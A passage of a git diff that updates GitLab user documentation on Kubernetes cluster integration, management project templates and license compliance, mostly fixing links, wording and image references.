{"level":"info","time":"2020-10-30T08:56:54.329Z","msg":"Synced","project_id":"root/kas-manifest001","resource_key":"apps/Deployment/kas-test001/nginx-deployment","sync_result":"error validating data: [ValidationError(Deployment.metadata): unknown field \"replicas\" in io.k8s.apimachinery.pkg.apis.meta.v1.ObjectMeta, ValidationError(Deployment.metadata): unknown field \"selector\" in io.k8s.apimachinery.pkg.apis.meta.v1.ObjectMeta, ValidationError(Deployment.metadata): unknown field \"template\" in io.k8s.apimachinery.pkg.apis.meta.v1.ObjectMeta]"}
```
diff --git a/doc/user/clusters/agent/repository.md b/doc/user/clusters/agent/repository.md
index cd40cc6810e..a3a3e4c29b0 100644
--- a/doc/user/clusters/agent/repository.md
+++ b/doc/user/clusters/agent/repository.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259669) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.7.
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3834) in GitLab 13.11, the Kubernetes Agent became available on GitLab.com.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0, the `resource_inclusions` and `resource_exclusions` attributes were removed.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/332227) in GitLab 14.0, the `resource_inclusions` and `resource_exclusions` attributes were removed and `reconcile_timeout`, `dry_run_strategy`, `prune`, `prune_timeout`, `prune_propagation_policy`, and `inventory_policy` attributes were added.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
@@ -51,6 +51,7 @@ gitops:
# in YAML or JSON format.
- id: gitlab-org/cluster-integration/gitlab-agent
# Namespace to use if not set explicitly in object manifest.
+ # Also used for inventory ConfigMap objects.
default_namespace: my-ns
# Paths inside of the repository to scan for manifest files.
# Directories with names starting with a dot are ignored.
@@ -84,13 +85,13 @@ gitops:
# https://github.com/kubernetes/apimachinery/blob/44113beed5d39f1b261a12ec398a356e02358307/pkg/apis/meta/v1/types.go#L456-L470
# Can be: orphan, background, foreground
prune_propagation_policy: foreground # 'foreground' by default
- # InventoryPolicy defines if an inventory object can take over
+ # Inventory policy defines if an inventory object can take over
# objects that belong to another inventory object or don't
# belong to any inventory object.
# This is done by determining if the apply/prune operation
# can go through for a resource based on the comparison
# the inventory-id value in the package and the owning-inventory
- # annotation in the live object.
+ # annotation (config.k8s.io/owning-inventory) in the live object.
# https://github.com/kubernetes-sigs/cli-utils/blob/d6968048dcd80b1c7b55d9e4f31fc25f71c9b490/pkg/inventory/policy.go#L12-L66
# Can be: must_match, adopt_if_no_inventory, adopt_all
inventory_policy: must_match # 'must_match' by default
@@ -157,7 +158,9 @@ cilium:
hubble_relay_address: "<hubble-relay-host>:<hubble-relay-port>"
```
-If your Cilium integration was performed through GitLab Managed Apps, you can use `hubble-relay.gitlab-managed-apps.svc.cluster.local:80` as the address:
+If your Cilium integration was performed through [GitLab Managed Apps](../applications.md#install-cilium-using-gitlab-cicd) or the
+[cluster management template](../../project/clusters/protect/container_network_security/quick_start_guide.md#use-the-cluster-management-template-to-install-cilium),
+you can use `hubble-relay.gitlab-managed-apps.svc.cluster.local:80` as the address:
```yaml
cilium:
diff --git a/doc/user/clusters/applications.md b/doc/user/clusters/applications.md
index a6aa4e00005..5d247f04d3b 100644
--- a/doc/user/clusters/applications.md
+++ b/doc/user/clusters/applications.md
@@ -90,7 +90,7 @@ To install applications using GitLab CI/CD:
1. Optionally, define `.gitlab/managed-apps/<application>/values.yaml` file to
customize values for the installed application.
-A GitLab CI/CD pipeline runs on the `master` branch to install the
+A GitLab CI/CD pipeline runs on the default branch to install the
applications you have configured. In case of pipeline failure, the
output of the [Helm Tiller](https://v2.helm.sh/docs/install/#running-tiller-locally) binary
is saved as a [CI job artifact](../../ci/pipelines/job_artifacts.md).
@@ -391,16 +391,16 @@ For GitLab Runner to function, you _must_ specify the following:
- `gitlabUrl`: The GitLab server full URL (for example, `https://gitlab.example.com`)
to register the Runner against.
- `runnerRegistrationToken`: The registration token for adding new runners to GitLab.
- This must be [retrieved from your GitLab instance](../../ci/runners/README.md).
+ This must be [retrieved from your GitLab instance](../../ci/runners/index.md).
-These values can be specified using [CI/CD variables](../../ci/variables/README.md):
+These values can be specified using [CI/CD variables](../../ci/variables/index.md):
- `GITLAB_RUNNER_GITLAB_URL` is used for `gitlabUrl`.
- `GITLAB_RUNNER_REGISTRATION_TOKEN` is used for `runnerRegistrationToken`
The methods of specifying these values are mutually exclusive. Either specify variables `GITLAB_RUNNER_REGISTRATION_TOKEN` and `GITLAB_RUNNER_TOKEN` as CI variables (recommended) or provide values for `runnerRegistrationToken:` and `runnerToken:` in `.gitlab/managed-apps/gitlab-runner/values.yaml`. If you choose to use CI variables, comment out or remove `runnerRegistrationToken:` and `runnerToken:` from `.gitlab/managed-apps/gitlab-runner/values`.
-The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../ci/variables/README.md#protect-a-cicd-variable) and [masked variable](../../ci/variables/README.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml` file.
+The runner registration token allows connection to a project by a runner and therefore should be treated as a secret to prevent malicious use and code exfiltration through a runner. For this reason, we recommend that you specify the runner registration token as a [protected variable](../../ci/variables/index.md#protect-a-cicd-variable) and [masked variable](../../ci/variables/index.md#mask-a-cicd-variable) and do not commit them to the Git repository in the `values.yaml` file.
You can customize the installation of GitLab Runner by defining
`.gitlab/managed-apps/gitlab-runner/values.yaml` file in your cluster
@@ -440,8 +440,8 @@ cilium:
The `clusterType` variable enables the recommended Helm variables for a corresponding cluster type.
You can check the recommended variables for each cluster type in the official documentation:
-- [Google GKE](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#deploy-cilium)
-- [AWS EKS](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-eks/#deploy-cilium)
+- [Google GKE](https://docs.cilium.io/en/v1.8/gettingstarted/k8s-install-gke/#deploy-cilium)
+- [AWS EKS](https://docs.cilium.io/en/v1.8/gettingstarted/k8s-install-eks/#deploy-cilium)
Do not use `clusterType` for sandbox environments like [Minikube](https://minikube.sigs.k8s.io/docs/).
@@ -460,7 +460,7 @@ You can check Cilium's installation status on the cluster management page:
WARNING:
Installation and removal of the Cilium requires a **manual**
-[restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-gke/#restart-unmanaged-pods)
+[restart](https://docs.cilium.io/en/stable/gettingstarted/k8s-install-helm/#restart-unmanaged-pods)
of all affected pods in all namespaces to ensure that they are
[managed](https://docs.cilium.io/en/v1.8/operations/troubleshooting/#ensure-managed-pod)
by the correct networking plugin. Whenever Hubble is enabled, its related pod might require a
@@ -762,7 +762,7 @@ Set:
- "Redirect URI" to `http://<JupyterHub Host>/hub/oauth_callback`.
- "Scope" to `api read_repository write_repository`.
-In addition, the following variables must be specified using [CI/CD variables](../../ci/variables/README.md):
+In addition, the following variables must be specified using [CI/CD variables](../../ci/variables/index.md):
- `JUPYTERHUB_PROXY_SECRET_TOKEN` - Secure string used for signing communications
from the hub. Read [`proxy.secretToken`](https://zero-to-jupyterhub.readthedocs.io/en/stable/reference/reference.html#proxy-secrettoken).
diff --git a/doc/user/clusters/integrations.md b/doc/user/clusters/integrations.md
index 6c87efaf5a3..d2861ce2946 100644
--- a/doc/user/clusters/integrations.md
+++ b/doc/user/clusters/integrations.md
@@ -88,7 +88,7 @@ To enable the Prometheus integration for your cluster:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61077) in GitLab 13.12.
You can integrate your cluster with [Elastic
-Stack](https://www.elastic.co/elastic-stack) to index and [query your pod
+Stack](https://www.elastic.co/elastic-stack/) to index and [query your pod
logs](../project/clusters/kubernetes_pod_logs.md).
### Elastic Stack Prerequisites
@@ -119,7 +119,7 @@ wget https://gitlab.com/gitlab-org/project-templates/cluster-management/-/raw/ma
helm repo add gitlab https://charts.gitlab.io
# Install Elastic Stack
-helm install prometheus gitlab/elastic-stack -n gitlab-managed-apps --values values.yaml
+helm install elastic-stack gitlab/elastic-stack -n gitlab-managed-apps --values values.yaml
```
### Enable Elastic Stack integration for your cluster
@@ -134,6 +134,6 @@ To enable the Elastic Stack integration for your cluster:
- For an [instance-level cluster](../instance/clusters/index.md), navigate to your instance's
**Kubernetes** page.
1. Select the **Integrations** tab.
-1. Check the **Enable Prometheus integration** checkbox.
+1. Check the **Enable Elastic Stack integration** checkbox.
1. Click **Save changes**.
1. Go to the **Health** tab to see your cluster's metrics.
diff --git a/doc/user/clusters/management_project.md b/doc/user/clusters/management_project.md
index f741ab2d95a..204afa9fc89 100644
--- a/doc/user/clusters/management_project.md
+++ b/doc/user/clusters/management_project.md
@@ -22,7 +22,7 @@ This can be useful for:
## Permissions
Only the management project receives `cluster-admin` privileges. All
-other projects continue to receive [namespace scoped `edit` level privileges](../project/clusters/add_remove_clusters.md#rbac-cluster-resources).
+other projects continue to receive [namespace scoped `edit` level privileges](../project/clusters/cluster_access.md#rbac-cluster-resources).
Management projects are restricted to the following:
@@ -45,12 +45,11 @@ To use a cluster management project for a cluster:
To select a cluster management project to use:
1. Navigate to the appropriate configuration page. For a:
- - [Project-level cluster](../project/clusters/index.md), navigate to your project's
+ - [Project-level cluster](../project/clusters/index.md), go to your project's
**Infrastructure > Kubernetes clusters** page.
- - [Group-level cluster](../group/clusters/index.md), navigate to your group's **Kubernetes**
- page.
- - [Instance-level cluster](../instance/clusters/index.md), navigate to Admin Area's **Kubernetes**
+ - [Group-level cluster](../group/clusters/index.md), go to your group's **Kubernetes**
page.
+ - [Instance-level cluster](../instance/clusters/index.md), go to **Menu >** **{admin}** **Admin > Kubernetes** page.
1. Select the project using **Cluster management project field** in the **Advanced settings**
section.
@@ -59,7 +58,7 @@ To select a cluster management project to use:
### Configuring your pipeline
After designating a project as the management project for the cluster,
-write a [`.gitlab-ci.yml`](../../ci/yaml/README.md) in that project. For example:
+write a [`.gitlab-ci.yml`](../../ci/yaml/index.md) in that project. For example:
```yaml
configure cluster:
@@ -72,7 +71,7 @@ configure cluster:
### Setting the environment scope
[Environment
-scopes](../project/clusters/index.md#setting-the-environment-scope)
+scopes](../project/clusters/multiple_kubernetes_clusters.md#setting-the-environment-scope)
are usable when associating multiple clusters to the same management
project.
@@ -88,7 +87,7 @@ to a management project:
| Production | `production` |
The following environments set in
-[`.gitlab-ci.yml`](../../ci/yaml/README.md) deploy to the
+[`.gitlab-ci.yml`](../../ci/yaml/index.md) deploy to the
Development, Staging, and Production cluster respectively.
```yaml
diff --git a/doc/user/clusters/management_project_template.md b/doc/user/clusters/management_project_template.md
index 52390cb18b0..eb86c1702cc 100644
--- a/doc/user/clusters/management_project_template.md
+++ b/doc/user/clusters/management_project_template.md
@@ -18,10 +18,10 @@ need, or even add new ones that are not built-in.
## How to use this template
-1. Create a new project, choosing "GitLab Cluster Management" from the list of [built-in project templates](../project/working_with_projects.md#built-in-templates).
+1. Create a new project, choosing "GitLab Cluster Management" from the list of [built-in project templates](../project/working_with_projects.md#built-in-templates).
1. Make this project a [cluster management project](management_project.md).
1. If you used the [GitLab Managed Apps](applications.md), refer to
- [Migrating from GitLab Manged Apps](migrating_from_gma_to_project_template.md).
+ [Migrating from GitLab Managed Apps](migrating_from_gma_to_project_template.md).
### Components
@@ -37,10 +37,10 @@ In the repository of the newly-created project, you will find:
The base image used in your pipeline is built by the [cluster-applications](https://gitlab.com/gitlab-org/cluster-integration/cluster-applications)
project. This image consists of a set of Bash utility scripts to support [Helm v3 releases](https://helm.sh/docs/intro/using_helm/#three-big-concepts):
-- `gl-fail-if-helm2-releases-exist {namespace}`: It tries to detect whether you have apps deployed through Helm v2
- releases for a given namespace. If so, it will fail the pipeline and ask you to manually
+- `gl-fail-if-helm2-releases-exist {namespace}`: It tries to detect whether you have apps deployed through Helm v2
+ releases for a given namespace. If so, it will fail the pipeline and ask you to manually
[migrate your Helm v2 releases to Helm v3](https://helm.sh/docs/topics/v2_v3_migration/).
-- `gl-ensure-namespace {namespace}`: It creates the given namespace if it does not exist and adds the necessary label
+- `gl-ensure-namespace {namespace}`: It creates the given namespace if it does not exist and adds the necessary label
for the [Cilium](https://github.com/cilium/cilium/) app network policies to work.
- `gl-adopt-resource-with-helm-v3 {arguments}`: Used only internally in the [cert-manager's](https://cert-manager.io/) Helmfile to
facilitate the GitLab Managed Apps adoption.
@@ -50,7 +50,7 @@ project. This image consists of a set of Bash utility scripts to support [Helm v
#### The main `helmfile.yml` file
-This file has a list of paths to other Helmfiles for each app. They're all commented out by default, so you must uncomment
+This file has a list of paths to other Helmfiles for each app. They're all commented out by default, so you must uncomment
the paths for the apps that you would like to manage.
By default, each `helmfile.yaml` in these sub-paths will have the attribute `installed: true`, which signifies that everytime
@@ -58,7 +58,7 @@ the pipeline runs, Helmfile will try to either install or update your apps accor
cluster and Helm releases. If you change this attribute to `installed: false`, Helmfile will try to uninstall this app
from your cluster. [Read more](https://github.com/roboll/helmfile) about how Helmfile works.
-Furthermore, each app has an `applications/{app}/values.yaml` file. This is the
+Furthermore, each app has an `applications/{app}/values.yaml` file. This is the
place where you can define some default values for your app's Helm chart. Some apps will already have defaults
pre-defined by GitLab.
@@ -82,5 +82,5 @@ The [built-in supported applications](https://gitlab.com/gitlab-org/project-temp
### Migrating from GitLab Managed Apps
-If you had GitLab Managed Apps, either One-Click or CI/CD install, read the docs on how to
+If you had GitLab Managed Apps, either One-Click or CI/CD install, read the docs on how to
[migrate from GitLab Managed Apps to project template](migrating_from_gma_to_project_template.md)
diff --git a/doc/user/clusters/migrating_from_gma_to_project_template.md b/doc/user/clusters/migrating_from_gma_to_project_template.md
index 7fa6ccea433..dc16cf5cc45 100644
--- a/doc/user/clusters/migrating_from_gma_to_project_template.md
+++ b/doc/user/clusters/migrating_from_gma_to_project_template.md
@@ -35,9 +35,9 @@ The [GitLab Managed Apps](applications.md) are deprecated in GitLab 14.0. To mig
applications that you would like to manage with this project. Although you could uncomment all the ones you want to
managed at once, we recommend you repeat the following steps separately for each app, so you do not get lost during
the process.
-1. Edit the associated `applications/{app}/helmfiles.yaml` to match the chart version currently deployed
+1. Edit the associated `applications/{app}/helmfiles.yaml` to match the chart version currently deployed
for your app. Take a GitLab Runner Helm v3 release as an example:
-
+
The following command lists the releases and their versions:
```shell
@@ -83,7 +83,7 @@ The [GitLab Managed Apps](applications.md) are deprecated in GitLab 14.0. To mig
1. After following all the previous steps, [run a pipeline manually](../../ci/pipelines/index.md#run-a-pipeline-manually)
and watch the `apply` job logs to see if any of your applications were successfully detected, installed, and whether they got any
unexpected updates.
-
+
Some annotation checksums are expected to be updated, as well as this attribute:
```diff
diff --git a/doc/user/compliance/compliance_dashboard/index.md b/doc/user/compliance/compliance_dashboard/index.md
index 21af6387f9d..fb6b3fe2cf6 100644
--- a/doc/user/compliance/compliance_dashboard/index.md
+++ b/doc/user/compliance/compliance_dashboard/index.md
@@ -22,6 +22,22 @@ To access the Compliance Dashboard for a group, navigate to **{shield}** **Secur
NOTE:
The Compliance Dashboard shows only the latest MR on each project.
+## Merge request drawer
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299357) in GitLab 14.1.
+
+When you click on a row, a drawer is shown that provides further details about the merge
+request:
+
+- Project name and [compliance framework label](../../project/settings/index.md#compliance-frameworks),
+ if the project has one assigned.
+- Link to the merge request.
+- The merge request's branch path in the format `[source] into [target]`.
+- A list of users that committed changes to the merge request.
+- A list of users that commented on the merge request.
+- A list of users that approved the merge request.
+- The user that merged the merge request.
+
## Use cases
This feature is for people who care about the compliance status of projects within their group.
diff --git a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v13_2.png b/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v13_2.png
deleted file mode 100644
index ee3bb310c1a..00000000000
--- a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v13_2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_2.png b/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_2.png
new file mode 100644
index 00000000000..c188c6cd834
--- /dev/null
+++ b/doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_2.png
Binary files differ
diff --git a/doc/user/compliance/license_compliance/index.md b/doc/user/compliance/license_compliance/index.md
index f757a548aee..1a43c5ae96f 100644
--- a/doc/user/compliance/license_compliance/index.md
+++ b/doc/user/compliance/license_compliance/index.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5483) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.0.
-If you're using [GitLab CI/CD](../../../ci/README.md), you can use License Compliance to search your
+If you're using [GitLab CI/CD](../../../ci/index.md), you can use License Compliance to search your
project's dependencies for their licenses. You can then decide whether to allow or deny the use of
each license. For example, if your application uses an external (open source) library whose license
is incompatible with yours, then you can deny the use of that license.
@@ -47,8 +47,7 @@ When GitLab detects a **Denied** license, you can view it in the [license list](
![License List](img/license_list_v13_0.png)
You can view and modify existing policies from the [policies](#policies) tab.
-
-![Edit Policy](img/policies_maintainer_edit_v13_2.png)
+![Edit Policy](img/policies_maintainer_edit_v14_2.png)
## Supported languages and package managers
@@ -58,7 +57,7 @@ Java 8 and Gradle 1.x projects are not supported. The minimum supported version
| Language | Package managers | Notes |
|------------|----------------------------------------------------------------------------------------------|-------|
-| JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) | |
+| JavaScript | [Bower](https://bower.io/), [npm](https://www.npmjs.com/) (7 and earlier) | |
| Go | [Godep](https://github.com/tools/godep), [go mod](https://github.com/golang/go/wiki/Modules) | |
| Java | [Gradle](https://gradle.org/), [Maven](https://maven.apache.org/) | |
| .NET | [NuGet](https://www.nuget.org/) | The .NET Framework is supported via the [mono project](https://www.mono-project.com/). There are, however, some limitations. The scanner doesn't support Windows-specific dependencies and doesn't report dependencies of your project's listed dependencies. Also, the scanner always marks detected licenses for all dependencies as `unknown`. |
@@ -74,12 +73,12 @@ The reported licenses might be incomplete or inaccurate.
|------------|---------------------------------------------------------------------------------------------------------------|
| JavaScript | [Yarn](https://yarnpkg.com/) |
| Go | `go get`, `gvt`, `glide`, `dep`, `trash`, `govendor` |
-| Erlang | [Rebar](https://www.rebar3.org/) |
+| Erlang | [Rebar](https://rebar3.org/) |
| Objective-C, Swift | [Carthage](https://github.com/Carthage/Carthage), [CocoaPods](https://cocoapods.org/) v0.39 and below |
| Elixir | [Mix](https://elixir-lang.org/getting-started/mix-otp/introduction-to-mix.html) |
| C++/C | [Conan](https://conan.io/) |
| Scala | [sbt](https://www.scala-sbt.org/) |
-| Rust | [Cargo](https://crates.io) |
+| Rust | [Cargo](https://crates.io) |
| PHP | [Composer](https://getcomposer.org/) |
## Requirements
@@ -90,11 +89,11 @@ To run a License Compliance scanning job, you need GitLab Runner with the
## Configuration
For GitLab 12.8 and later, to enable License Compliance, you must
-[include](../../../ci/yaml/README.md#includetemplate) the
+[include](../../../ci/yaml/index.md#includetemplate) the
[`License-Scanning.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Security/License-Scanning.gitlab-ci.yml)
that's provided as a part of your GitLab installation.
For older versions of GitLab from 11.9 to 12.7, you must
-[include](../../../ci/yaml/README.md#includetemplate) the
+[include](../../../ci/yaml/index.md#includetemplate) the
[`License-Management.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/d2cc841c55d65bc8134bfb3a467e66c36ac32b0a/lib/gitlab/ci/templates/Security/License-Management.gitlab-ci.yml).
For GitLab versions earlier than 11.9, you can copy and use the job as defined
that template.
@@ -115,14 +114,14 @@ the `license_management` job, so you must migrate to the `license_scanning` job
`License-Scanning.gitlab-ci.yml` template.
The results are saved as a
-[License Compliance report artifact](../../../ci/yaml/README.md#artifactsreportslicense_scanning)
+[License Compliance report artifact](../../../ci/yaml/index.md#artifactsreportslicense_scanning)
that you can later download and analyze. Due to implementation limitations, we
always take the latest License Compliance artifact available. Behind the scenes, the
[GitLab License Compliance Docker image](https://gitlab.com/gitlab-org/security-products/analyzers/license-finder)
is used to detect the languages/frameworks and in turn analyzes the licenses.
The License Compliance settings can be changed through [CI/CD variables](#available-cicd-variables) by using the
-[`variables`](../../../ci/yaml/README.md#variables) parameter in `.gitlab-ci.yml`.
+[`variables`](../../../ci/yaml/index.md#variables) parameter in `.gitlab-ci.yml`.
### When License Compliance runs
@@ -180,8 +179,8 @@ directory of your project.
### Overriding the template
WARNING:
-Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/README.md#only--except)
-is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead.
+Beginning in GitLab 13.0, the use of [`only` and `except`](../../../ci/yaml/index.md#only--except)
+is no longer supported. When overriding the template, you must use [`rules`](../../../ci/yaml/index.md#rules) instead.
If you want to override the job definition (for example, change properties like
`variables` or `dependencies`), you need to declare a `license_scanning` job
@@ -370,7 +369,7 @@ source "https://gems.example.com"
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html)
-[variable](../../../ci/variables/README.md#custom-cicd-variables)
+[variable](../../../ci/variables/index.md#custom-cicd-variables)
in the job definition.
### Configuring Cargo projects
@@ -394,7 +393,7 @@ To supply a custom root certificate to complete TLS verification, do one of the
- Use the `ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables).
- Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html)
- [variable](../../../ci/variables/README.md#custom-cicd-variables)
+ [variable](../../../ci/variables/index.md#custom-cicd-variables)
in the job definition.
### Configuring Composer projects
@@ -427,7 +426,7 @@ For example:
You can supply a custom root certificate to complete TLS verification by using the
`ADDITIONAL_CA_CERT_BUNDLE` [CI/CD variable](#available-cicd-variables), or by
specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile)
-[variable](../../../ci/variables/README.md#custom-cicd-variables)
+[variable](../../../ci/variables/index.md#custom-cicd-variables)
in the job definition.
### Configuring Conan projects
@@ -441,7 +440,7 @@ documentation for a list of settings that you can apply.
The `license_scanning` job runs in a [Debian 10](https://www.debian.org/releases/buster/) Docker
image. The supplied image ships with some build tools such as [CMake](https://cmake.org/) and [GCC](https://gcc.gnu.org/).
However, not all project types are supported by default. To install additional tools needed to
-compile dependencies, use a [`before_script`](../../../ci/yaml/README.md#before_script)
+compile dependencies, use a [`before_script`](../../../ci/yaml/index.md#before_script)
to install the necessary build tools using the [`apt`](https://wiki.debian.org/PackageManagementTools)
package manager. For a comprehensive list, consult [the Conan documentation](https://docs.conan.io/en/latest/introduction.html#all-platforms-all-build-systems-and-compilers).
@@ -490,7 +489,7 @@ example:
}
```
-If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/README.md#protect-a-cicd-variable)
+If credentials are required to authenticate then you can configure a [protected CI/CD variable](../../../ci/variables/index.md#protect-a-cicd-variable)
following the naming convention described in the [`CONAN_LOGIN_USERNAME` documentation](https://docs.conan.io/en/latest/reference/env_vars.html#conan-login-username-conan-login-username-remote-name).
#### Custom root certificates for Conan
@@ -722,7 +721,7 @@ which enables a designated approver that can approve and then merge a merge requ
The **Policies** tab in the project's license compliance section displays your project's license
policies. Project maintainers can specify policies in this section.
-![Edit Policy](img/policies_maintainer_edit_v13_2.png)
+![Edit Policy](img/policies_maintainer_edit_v14_2.png)
![Add Policy](img/policies_maintainer_add_v13_2.png)
Developers of the project can view the policies configured in a project.
@@ -857,4 +856,4 @@ root@6abb70e9f193:~#
```
NOTE:
-Selecting a custom version of [Mono](https://www.mono-project.com/) or [.NET Core](https://dotnet.microsoft.com/download/dotnet-core) is currently not supported.
+Selecting a custom version of [Mono](https://www.mono-project.com/) or [.NET Core](https://dotnet.microsoft.com/download/dotnet) is currently not supported.
diff --git a/doc/user/discussions/img/automatically_resolve_outdated_discussions.png b/doc/user/discussions/img/automatically_resolve_outdated_discussions.png
deleted file mode 100644
index a6fc4b0aef1..00000000000
--- a/doc/user/discussions/img/automatically_resolve_outdated_discussions.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/btn_new_issue_for_all_threads.png b/doc/user/discussions/img/btn_new_issue_for_all_threads.png
index 5d86e0ca016..b07267a011a 100644
--- a/doc/user/discussions/img/btn_new_issue_for_all_threads.png
+++ b/doc/user/discussions/img/btn_new_issue_for_all_threads.png
Binary files differ
diff --git a/doc/user/discussions/img/comment_type_toggle.gif b/doc/user/discussions/img/comment_type_toggle.gif
deleted file mode 100644
index b73c197b97f..00000000000
--- a/doc/user/discussions/img/comment_type_toggle.gif
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/commit_comment_mr_context.png b/doc/user/discussions/img/commit_comment_mr_context.png
deleted file mode 100644
index 68f58a57757..00000000000
--- a/doc/user/discussions/img/commit_comment_mr_context.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/commit_comment_mr_discussions_tab.png b/doc/user/discussions/img/commit_comment_mr_discussions_tab.png
deleted file mode 100644
index d88f08eae26..00000000000
--- a/doc/user/discussions/img/commit_comment_mr_discussions_tab.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/discussion_lock_system_notes.png b/doc/user/discussions/img/discussion_lock_system_notes.png
deleted file mode 100644
index 44a47e3f097..00000000000
--- a/doc/user/discussions/img/discussion_lock_system_notes.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/image_resolved_discussion.png b/doc/user/discussions/img/image_resolved_discussion.png
deleted file mode 100644
index f6e5a3b66ae..00000000000
--- a/doc/user/discussions/img/image_resolved_discussion.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/lock_form_member.png b/doc/user/discussions/img/lock_form_member.png
deleted file mode 100644
index 7bfcb4faae6..00000000000
--- a/doc/user/discussions/img/lock_form_member.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/lock_form_non_member.png b/doc/user/discussions/img/lock_form_non_member.png
deleted file mode 100644
index 59e5fd89499..00000000000
--- a/doc/user/discussions/img/lock_form_non_member.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/merge_request_commits_tab.png b/doc/user/discussions/img/merge_request_commits_tab.png
deleted file mode 100644
index 267f3a720dc..00000000000
--- a/doc/user/discussions/img/merge_request_commits_tab.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/new_issue_for_thread.png b/doc/user/discussions/img/new_issue_for_thread.png
index 28b76adf7fe..c7f0fd76844 100644
--- a/doc/user/discussions/img/new_issue_for_thread.png
+++ b/doc/user/discussions/img/new_issue_for_thread.png
Binary files differ
diff --git a/doc/user/discussions/img/onion_skin_view.png b/doc/user/discussions/img/onion_skin_view.png
deleted file mode 100644
index 81bb4a2c85a..00000000000
--- a/doc/user/discussions/img/onion_skin_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/preview_issue_for_thread.png b/doc/user/discussions/img/preview_issue_for_thread.png
deleted file mode 100644
index a9d7ab598be..00000000000
--- a/doc/user/discussions/img/preview_issue_for_thread.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/preview_issue_for_threads.png b/doc/user/discussions/img/preview_issue_for_threads.png
deleted file mode 100644
index 8757decb178..00000000000
--- a/doc/user/discussions/img/preview_issue_for_threads.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/quickly_assign_commenter_v13_1.png b/doc/user/discussions/img/quickly_assign_commenter_v13_1.png
index 7f8ce62fe88..aa8f65ef6c4 100644
--- a/doc/user/discussions/img/quickly_assign_commenter_v13_1.png
+++ b/doc/user/discussions/img/quickly_assign_commenter_v13_1.png
Binary files differ
diff --git a/doc/user/discussions/img/reply_to_comment.gif b/doc/user/discussions/img/reply_to_comment.gif
deleted file mode 100644
index c62f7fdb5fe..00000000000
--- a/doc/user/discussions/img/reply_to_comment.gif
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/resolve_comment_button.png b/doc/user/discussions/img/resolve_comment_button.png
deleted file mode 100644
index 0a3ed03a69c..00000000000
--- a/doc/user/discussions/img/resolve_comment_button.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/resolve_thread_button_v13_3.png b/doc/user/discussions/img/resolve_thread_button_v13_3.png
deleted file mode 100644
index 1d7b10ce25d..00000000000
--- a/doc/user/discussions/img/resolve_thread_button_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/resolve_thread_issue_notice.png b/doc/user/discussions/img/resolve_thread_issue_notice.png
deleted file mode 100644
index 30a65b8fbd4..00000000000
--- a/doc/user/discussions/img/resolve_thread_issue_notice.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/resolve_thread_open_issue_v13_9.png b/doc/user/discussions/img/resolve_thread_open_issue_v13_9.png
deleted file mode 100644
index 8ff0f5e84dd..00000000000
--- a/doc/user/discussions/img/resolve_thread_open_issue_v13_9.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/discussions/img/start_image_discussion.gif b/doc/user/discussions/img/start_image_discussion.gif
index 43efbf2fbb2..18b2a4701cc 100644
--- a/doc/user/discussions/img/start_image_discussion.gif
+++ b/doc/user/discussions/img/start_image_discussion.gif
Binary files differ
